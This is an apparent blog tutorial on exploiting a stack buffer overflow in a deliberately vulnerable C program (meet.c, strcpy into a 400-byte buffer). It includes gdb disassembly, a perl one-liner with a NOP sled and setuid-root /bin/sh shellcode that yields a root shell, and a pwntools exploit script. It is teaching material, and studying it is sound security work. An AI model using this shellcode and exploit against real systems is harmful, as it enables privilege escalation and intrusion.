缓冲区溢出02-shellcode
weekness programe
// meet.c
#include <stdio.h> // needed for screen printing
#include <string.h> // needed for strcpy
void greeting(char *temp1,char *temp2){ // greeting function to say hello
char name[400]; // string variable to hold the name
strcpy(name, temp2); // copy argument to name with the infamous strcpy
printf("Hello %s %s\n", temp1, name); // print out the greeting
}
int main(int argc, char * argv[]){ // note the format for arguments
greeting(argv[1], argv[2]); // call function, pass title & name
printf("Bye %s %s\n", argv[1], argv[2]); // say "bye"
} // exit program
stack frame
| name[400] | ebp | eip | temp1 | temp2 |
disassemble greeting
(gdb) disass greeting
Dump of assembler code for function greeting:
0x56556201 <+0>: push %ebp
0x56556202 <+1>: mov %esp,%ebp
0x56556204 <+3>: push %ebx
0x56556205 <+4>: sub $0x190,%esp
0x5655620b <+10>: call 0x565560c0 <__x86.get_pc_thunk.bx>
0x56556210 <+15>: add $0x2df0,%ebx
=> 0x56556216 <+21>: push 0xc(%ebp)
0x56556219 <+24>: lea -0x194(%ebp),%eax
0x5655621f <+30>: push %eax
0x56556220 <+31>: call 0x56556050 <strcpy@plt>
0x56556225 <+36>: add $0x8,%esp
0x56556228 <+39>: lea -0x194(%ebp),%eax
0x5655622e <+45>: push %eax
0x5655622f <+46>: push 0x8(%ebp)
0x56556232 <+49>: lea -0x1ff8(%ebx),%eax
0x56556238 <+55>: push %eax
0x56556239 <+56>: call 0x56556040 <printf@plt>
0x5655623e <+61>: add $0xc,%esp
0x56556241 <+64>: nop
0x56556242 <+65>: mov -0x4(%ebp),%ebx
0x56556245 <+68>: leave
0x56556246 <+69>: ret
End of assembler dump.
(gdb) print 0x190
$1 = 400
custom buffer layout
| NOP[355] | shellcode[53] | eip[&NOP] |
so, when leave strcpy, eip pointer to address of NOP array, then shellcode is executed!
exploit
─$ ./meet Mr `perl -e 'print "\x90"x355 . "\x31\xc0\x31\xdb\xb0\x17\xcd\x80\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh" . "\xa4\xd1\xff\xff"'`
perl: warning: Setting locale failed.
perl: warning: Please check that your locale settings:
LANGUAGE = (unset),
LC_ALL = (unset),
LC_CTYPE = "UTF-8",
LANG = "en_US.UTF-8"
are supported and installed on your system.
perl: warning: Falling back to a fallback locale ("en_US.UTF-8").
Hello P���! �������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������1�1۰̀�^�1��F�F
�
���V
̀1ۉ�@̀�����/bin/sh����
# id
uid=0(root) gid=1000(kali) groups=1000(kali),4(adm),20(dialout),24(cdrom),25(floppy),27(sudo),29(audio),30(dip),44(video),46(plugdev),109(netdev),119(wireshark),122(bluetooth),134(scanner),142(kaboxer)
#
pwn tools
#!/usr/bin/env python3
#meet_exploit.py
from pwn import *
context.update(arch='i386', os='linux')
shellcode = b"\x31\xc0\x31\xdb\xb0\x17\xcd\x80\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh"
sc_offset = p32(0xffffd1a4)
nops = b"\x90"*(412 - len(shellcode) - len(sc_offset))
payload = nops + shellcode + sc_offset
p = process(["./meet", "Mr", payload])
p.interactive()
- 原文作者:winsun
- 原文链接:https://winsun.github.io/fightsec/post/pwn_22_overflow02/
- 版权声明:本作品采用知识共享署名-非商业性使用-禁止演绎 4.0 国际许可协议进行许可,非商业转载请注明出处(作者,原文链接),商业转载请联系作者获得授权。